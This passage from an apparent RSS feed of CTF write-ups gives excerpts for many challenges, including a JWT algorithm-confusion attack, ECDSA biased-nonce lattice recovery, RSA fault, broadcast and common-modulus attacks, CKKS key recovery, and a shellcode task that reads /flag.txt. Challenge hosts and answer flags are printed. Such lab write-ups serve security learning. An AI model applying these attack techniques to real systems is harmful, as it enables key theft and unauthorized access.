&lt;code&gt;node-06.nor&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;ECC-interleaved storage exports, 1024 slots × 144 bytes each&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;capsule.bin&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;SLC2 sealed export (ChaCha20-Poly1305)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;service-manual.txt&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Hardware / journal / VM specification&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;module-notes.txt&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Transport adapters and recovery policies&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;export-contract.txt&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Frontier and restore-key definition&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;The rack stopped during an export. The goal is to reconstruct the recoverable&#10;frontier, rebuild the restore key, and open the capsule.&lt;/p&gt;</description></item><item><title>Thaw Ladder</title><link>https://hotwater-online.xyz/writeups/cryovault/thaw-ladder/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/thaw-ladder/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; pwn / custom VM / side channel&lt;br&gt;&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 13929&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{pod_seven_4bde_woke_4364d220_in_bay_c}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-challenge"&gt;&#10; &lt;a href="#1-challenge" class="md-heading-anchor"&gt;&#10; 1. Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given a 7.2 bench kit for &lt;code&gt;thawd&lt;/code&gt;, a controller that executes small programs&#10;called &lt;em&gt;thaw plans&lt;/em&gt; in a made-up 16-bit instruction set, FROSTLANG. The live pod runs&#10;an &lt;strong&gt;undocumented 7.3 field build&lt;/strong&gt;. Every TCP connection is a fresh session with fresh&#10;per-session randomness. Limits are 16,384 plans and 3,600 seconds per session.&lt;/p&gt;</description></item><item><title>The Export That Never Existed</title><link>https://hotwater-online.xyz/writeups/cryovault/the-export-that-never-existed/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/the-export-that-never-existed/</guid><description>&lt;p&gt;The goal was to reproduce export job &lt;strong&gt;204&lt;/strong&gt; from &lt;code&gt;dispatch.capture&lt;/code&gt;, then calculate the SHA-256 of the exact bytes returned by the supplied exporter.&lt;/p&gt;&#10;&lt;p&gt;The recovered output is &lt;strong&gt;3,147 bytes&lt;/strong&gt;, containing &lt;strong&gt;52 items&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{c916c4f7b8ecccf073bf5cd6e815218f3622ba7c3500919f2a6b11f2db891b68}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The output is saved as &lt;code&gt;job204.export&lt;/code&gt;. The final replay checks every delivery route, each published meter, and all district settlement totals.&lt;/p&gt;&#10;&lt;h2 id="why-simply-restoring-sqlite-was-insufficient"&gt;&#10; &lt;a href="#why-simply-restoring-sqlite-was-insufficient" class="md-heading-anchor"&gt;&#10; Why simply restoring SQLite was insufficient&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The archive is a SQLite container holding recovery records, rather than the appliance database itself. Its important record types are:&lt;/p&gt;</description></item><item><title>The Ledger Access Gate</title><link>https://hotwater-online.xyz/writeups/cryovault/the-ledger-access-gate/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/the-ledger-access-gate/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;a href="https://isfcrpesu-ledger.chals.io" target="_blank" rel="noopener noreferrer" class="md-link"&gt;https://isfcrpesu-ledger.chals.io&lt;/a&gt;&#10;&lt;strong&gt;Category:&lt;/strong&gt; Web&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{jwt_rs256_hs256_c0nfus10n_l3dg3r_7a2b}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The landing page exposed a tiny API description:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ledger gate&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-----------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /login {&amp;#34;user&amp;#34;:&amp;#34;...&amp;#34;} -&amp;gt; a signed session token (role: guest)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /pubkey -&amp;gt; service signing public key (PEM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /flag (Authorization: Bearer &amp;lt;token&amp;gt;) -&amp;gt; ledger seal, admins only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag format: isfcr{...}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The goal: obtain a token with &lt;code&gt;role: admin&lt;/code&gt; and read &lt;code&gt;/flag&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h2 id="recon"&gt;&#10; &lt;a href="#recon" class="md-heading-anchor"&gt;&#10; Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Requesting the public key:&lt;/p&gt;</description></item><item><title>Vesper — Missed-Handover Recovery</title><link>https://hotwater-online.xyz/writeups/cryovault/vesper-missed-handover-recovery/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/vesper-missed-handover-recovery/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{fd0a085830b0802f234486bd05c201818fb469ae02c597cd}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="1-overview"&gt;&#10; &lt;a href="#1-overview" class="md-heading-anchor"&gt;&#10; 1. Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The bundle describes a deterministic recovery export from a small RV32IM&#10;fixture. An MCU talks to a simulated sensor hub and a two-lane RF bridge, both&#10;of which stay powered while the MCU does not. The export contains:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;File&lt;/th&gt;&#10; &lt;th&gt;Purpose&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;vesper.elf&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Installed RV32IM firmware, entry point &lt;code&gt;0x10000&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;BOARD.md&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Fixture, power, sensor, RF and journal contract&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;FORMAT.md&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Handover serialization and sealed-record format&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;acquisition.bin&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;4096 packed u16 sensor entries&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;power.csv&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Per-boot powered-slot range and unpowered-slot count&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;journal.csv&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;24 diagnostic intervals (6 boots each)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;receipts.bin&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Gateway acceptance records&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;fram.bin&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Final 64-byte NVM export&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;record.sealed&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;ChaCha20-Poly1305 sealed handover record&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;The task is to recover the powered-slot count &lt;code&gt;Q&lt;/code&gt; for every boot, replay the&#10;fixture exactly, rebuild the handover serialization from the gateway&#10;acceptances, and decrypt &lt;code&gt;record.sealed&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Afterglow — DOS Panel ROM Bitplane Reconstruction</title><link>https://hotwater-online.xyz/writeups/h7ctf/afterglow-dos-panel-rom-bitplane-reconstruction/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/afterglow-dos-panel-rom-bitplane-reconstruction/</guid><description>&lt;p&gt;For H7CTF 2026 this hardware-adjacent challenge hands you a DOS ROM for a &amp;quot;recovered status panel&amp;quot; that boots under &lt;code&gt;qemu-system-i386&lt;/code&gt; (&lt;code&gt;-drive format=raw,file=panel.rom&lt;/code&gt;). In stock emulation it self-tests and shows a factory-printed calibration tag; the real flag for your unit only lights up once the panel is brought &amp;quot;into service&amp;quot;. I did not emulate it — the disassembly shows a 32×256 one-bit-per-pixel plane-plane framebuffer (the VGA mode 13h linear buffer at &lt;code&gt;0xA0000&lt;/code&gt;, written byte-per-pixel with &lt;code&gt;0x00&lt;/code&gt;/&lt;code&gt;0xFF&lt;/code&gt; values), two render routines (8-bit-per-plane palette source atlas dumped during self-test, and post-service combined frame), a service-code gate (&lt;code&gt;cmp eax, [0x506]&lt;/code&gt;, then a &lt;code&gt;hlt&lt;/code&gt; loop on success — so even the correct hex code greyscreens), and, crucially, flag rendering down at &lt;code&gt;0x83d4&lt;/code&gt; in the service handler. Everything needed to re-derive it purely from the ROM is present in the shipped scripts, so I reconstructed the framebuffer statically from &lt;code&gt;panel.rom&lt;/code&gt; byte plane data.&lt;/p&gt;</description></item><item><title>auth-gw Biased-Nonce ECDSA</title><link>https://hotwater-online.xyz/writeups/luna1/auth-gw-biased-nonce-ecdsa/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/luna1/auth-gw-biased-nonce-ecdsa/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The &lt;code&gt;captured_tokens.json&lt;/code&gt; artifact contains ECDSA session-attestation signatures intercepted from &amp;quot;auth-gw&amp;quot; (VLAN 12) on secp256k1 with SHA-256. A leaked commit note in &lt;code&gt;gen_notes.txt&lt;/code&gt; shows the signing service truncated its nonces with &lt;code&gt;randbelow(2**250)&lt;/code&gt;, so every nonce k has zeroed top bits. That bias turns the key equations into a hidden number problem (HNP) solvable with LLL on fpylll, and the recovered private key unlocks the &lt;code&gt;sealed_note.bin&lt;/code&gt; AES-256-GCM dropper.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;captured_tokens.json&lt;/code&gt; — intercepted signatures (message, &lt;code&gt;r&lt;/code&gt;, &lt;code&gt;s&lt;/code&gt;, hex) plus the server public key.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;gen_notes.txt&lt;/code&gt; — commit log revealing the nonce truncation.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;analyse.py&lt;/code&gt;, &lt;code&gt;aibi.py&lt;/code&gt; — preliminary statistics and HNP coefficient computation.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;recover-d.py&lt;/code&gt; — the lattice attack that recovers &lt;code&gt;d&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt; — final decryption of &lt;code&gt;sealed_note.bin&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;sealed_note.bin&lt;/code&gt; — 74-byte encrypted payload.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;For each signature, s = k⁻¹(z + r·d) mod n. Multiplying by s⁻¹ and dividing by r gives&lt;/p&gt;</description></item><item><title>BGP From Hell</title><link>https://hotwater-online.xyz/writeups/xploit/bgp-from-hell/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/bgp-from-hell/</guid><description>&lt;p&gt;A core-network forensics challenge: an IXP border router's BGP session is captured, and the exfiltrated flag is smuggled inside &lt;strong&gt;BGP COMMUNITY attributes&lt;/strong&gt; of eight UPDATE messages. Each community is XORed with a hash chain over the remaining path attributes, so the payload only appears when the UPDATEs are processed in order.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;ixp_border_bgp_stream.pcap&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;CASE_BRIEF.txt&lt;/code&gt;, &lt;code&gt;SHA256SUMS.txt&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;extracted/solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;BGP runs over TCP/179; payloads begin with the 19-byte BGP header, and on top of the capture the TCP/IP headers are 54 bytes. The session of interest is the OPEN from the border router followed by eight UPDATEs from &lt;code&gt;192.0.2.66&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Bit Flip CRT</title><link>https://hotwater-online.xyz/writeups/xploit/bit-flip-crt/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/bit-flip-crt/</guid><description>&lt;p&gt;Two RSA-CRT signatures over the same message, with a hardware glitch flipping a single bit in one signature's computation modulo &lt;code&gt;q&lt;/code&gt;. That's the textbook setup for the &lt;strong&gt;Bellcore fault attack&lt;/strong&gt;: faulty and correct signatures share the same &lt;code&gt;p&lt;/code&gt;, so their difference is a multiple of &lt;code&gt;p&lt;/code&gt; but not &lt;code&gt;N&lt;/code&gt; — one &lt;code&gt;gcd&lt;/code&gt; with the modulus splits the key.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;output.txt&lt;/code&gt; — &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, message, &lt;code&gt;sig_1&lt;/code&gt;, &lt;code&gt;sig_2&lt;/code&gt;, ciphertext&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;With CRT signing, &lt;code&gt;s = m^d mod N&lt;/code&gt; is computed as &lt;code&gt;s_p = m^(d mod p-1) mod p&lt;/code&gt; and &lt;code&gt;s_q = m^(d mod q-1) mod q&lt;/code&gt;, then recombined. If a fault corrupts only one half — here one bit inside the &lt;code&gt;q&lt;/code&gt; side computation — then:&lt;/p&gt;</description></item><item><title>Boneh-Durfee</title><link>https://hotwater-online.xyz/writeups/xploit/boneh-durfee/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/boneh-durfee/</guid><description>&lt;p&gt;A small-private-exponent RSA challenge placed &lt;em&gt;just beyond&lt;/em&gt; Wiener's bound, so continued fractions alone fail. The private exponent is small enough for the &lt;strong&gt;Boneh-Durfee lattice attack&lt;/strong&gt; (bound ≈ &lt;code&gt;N^0.292&lt;/code&gt;), which is what the supplied Sage script implements.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public.txt&lt;/code&gt; — &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.sage&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;With &lt;code&gt;e·d - k·φ(N) = 1&lt;/code&gt; and &lt;code&gt;φ(N) = N - p - q + 1&lt;/code&gt;, write &lt;code&gt;A = N + 1&lt;/code&gt; and &lt;code&gt;s = p + q&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Broadcast Linear</title><link>https://hotwater-online.xyz/writeups/xploit/broadcast-linear/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/broadcast-linear/</guid><description>&lt;p&gt;Håstad's broadcast attack with a twist: the same message is RSA-encrypted under three moduli with &lt;code&gt;e = 3&lt;/code&gt;, but the plaintext is first mapped through a &lt;strong&gt;known linear padding&lt;/strong&gt; &lt;code&gt;m' = a·m + b&lt;/code&gt;. CRT plus an integer cube root recovers &lt;code&gt;m'&lt;/code&gt;, and the linear transform inverts trivially.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt; — description with the padding formula&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Each ciphertext is &lt;code&gt;c_i = (a·m + b)³ mod n_i&lt;/code&gt;. Because the padded message is small (&lt;code&gt;(a·m + b)³ &amp;lt; n₁·n₂·n₃&lt;/code&gt;), CRT gives the &lt;em&gt;integer&lt;/em&gt; cube &lt;code&gt;(a·m + b)³&lt;/code&gt; exactly, not just modulo &lt;code&gt;N&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>BYOC</title><link>https://hotwater-online.xyz/writeups/nns/byoc/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/nns/byoc/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&amp;quot;Bring Your Own Code&amp;quot; — BYOC's &lt;code&gt;chall.c&lt;/code&gt; does exactly what its name promises: it &lt;code&gt;mmap&lt;/code&gt;s 200 bytes as RWX, reads up to 200 attacker-controlled bytes into it, and calls it. No bug to find at all; the challenge is straightforward shellcode. The provided &lt;code&gt;solve.py&lt;/code&gt; (in the &lt;code&gt;handout/&lt;/code&gt; dir, but clearly a player's solve script — pwntools &lt;code&gt;remote&lt;/code&gt; against the challenge host) sends a minimal open/read/write chain that cats &lt;code&gt;/flag.txt&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>CKKS Approximate-Decryption Key Recovery</title><link>https://hotwater-online.xyz/writeups/h7ctf/ckks-approximate-decryption-key-recovery/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/ckks-approximate-decryption-key-recovery/</guid><description>&lt;p&gt;In H7CTF 2026's crypto track, a homomorphic-encryption analytics service leaks enough noise for full key recovery. The service is a minimal CKKS-style scheme over &lt;code&gt;Z_q[x]/(x^N+1)&lt;/code&gt; with &lt;code&gt;N = 8&lt;/code&gt;, &lt;code&gt;Q = 2^40 - 87&lt;/code&gt;, &lt;code&gt;DELTA = 2^25&lt;/code&gt;. The flaw is not in the encoding; it is that the service returns the approximate (noisy) decryption of a ciphertext, and that noise is the secret key times the known randomness.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;ckks.py&lt;/code&gt; - the shipped scheme: &lt;code&gt;encode&lt;/code&gt;/&lt;code&gt;decode&lt;/code&gt; via the canonical embedding at primitive &lt;code&gt;2N&lt;/code&gt;-th roots, &lt;code&gt;ring_mul&lt;/code&gt;, &lt;code&gt;encrypt&lt;/code&gt; (&lt;code&gt;b = -a*s + m + e&lt;/code&gt;), and &lt;code&gt;decrypt&lt;/code&gt; returning approximate slots.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt; - the clean attack against the &lt;code&gt;/v1&lt;/code&gt; endpoints.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve_v2.py&lt;/code&gt; - variant against &lt;code&gt;/v2&lt;/code&gt;, where each &lt;code&gt;/v2/decrypt&lt;/code&gt; answer is uniquely randomized, fixed by averaging repeated decryptions.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;decrypt&lt;/code&gt; computes &lt;code&gt;d = b + a*s&lt;/code&gt; and returns &lt;code&gt;decode(d)&lt;/code&gt;, i.e. the noisy slots. The secret is ternary (&lt;code&gt;small(1)&lt;/code&gt; in &lt;code&gt;keygen&lt;/code&gt;), so there are only &lt;code&gt;3^8 = 6561&lt;/code&gt; candidates for &lt;code&gt;s&lt;/code&gt; - perfect for brute force. For any ciphertext with known plaintext &lt;code&gt;m&lt;/code&gt; and known &lt;code&gt;a&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Common Modulus</title><link>https://hotwater-online.xyz/writeups/xploit/common-modulus/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/common-modulus/</guid><description>&lt;p&gt;The same plaintext encrypted twice under one RSA modulus with two different public exponents, &lt;code&gt;e₁ = 65537&lt;/code&gt; and &lt;code&gt;e₂ = 65539&lt;/code&gt;. Since &lt;code&gt;gcd(e₁, e₂) = 1&lt;/code&gt;, Bézout coefficients give the plaintext by combining the two ciphertexts — no factorisation needed.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public.txt&lt;/code&gt; — &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e₁&lt;/code&gt;, &lt;code&gt;ct₁&lt;/code&gt;, &lt;code&gt;e₂&lt;/code&gt;, &lt;code&gt;ct₂&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;, &lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;With &lt;code&gt;a·e₁ + b·e₂ = 1&lt;/code&gt;, we have&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;m = m^(a·e₁ + b·e₂) = (ct₁)^a · (ct₂)^b (mod N)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The extended Euclidean algorithm produces &lt;code&gt;(a, b)&lt;/code&gt;, one of which is negative; negative exponents become modular inverses.&lt;/p&gt;</description></item><item><title>Cuspidal Drift</title><link>https://hotwater-online.xyz/writeups/xploit/cuspidal-drift/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/cuspidal-drift/</guid><description>&lt;p&gt;A custom &amp;quot;elliptic curve&amp;quot; cryptosystem with &lt;code&gt;a = 0&lt;/code&gt;, &lt;code&gt;b = 0&lt;/code&gt; — the curve is&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" 